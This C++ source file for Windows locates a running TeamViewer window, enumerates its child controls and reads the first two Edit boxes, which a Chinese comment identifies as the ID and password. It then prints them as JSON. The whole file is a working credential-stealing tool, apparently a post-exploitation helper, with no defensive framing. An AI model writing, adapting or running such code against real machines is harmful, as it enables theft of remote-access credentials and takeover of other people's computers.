#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <iostream>
#include <string.h>

#pragma comment( lib, "kernel32" )
int index = 0;

BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam) {
    if (index <= 1) {
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM) BufferSize, (LPARAM) BufferContent);
//    printf("----------------%s\n", BufferContent);
        const int nameSize = 10;
        char name[nameSize] = "";
        //获取前两个输入框 第一个表示id，第二个为password
        GetClassName(hwnd, name, nameSize);
        if (strstr(name, "Edit") != NULL) {
            if (strlen(BufferContent) == 0) {
                return 1;
            }
            if (index == 0) {
                printf("\"id\" : \"%s\",", BufferContent);
            } else {
                printf("\"password\" : \"%s\"", BufferContent);
            }
            index++;
        }

    }
    return 1;
}

int main() {
    HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");
    printf("{");
    if (hwndTeamViewer) {
        EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
    }

    printf("}");
    return 0;
}

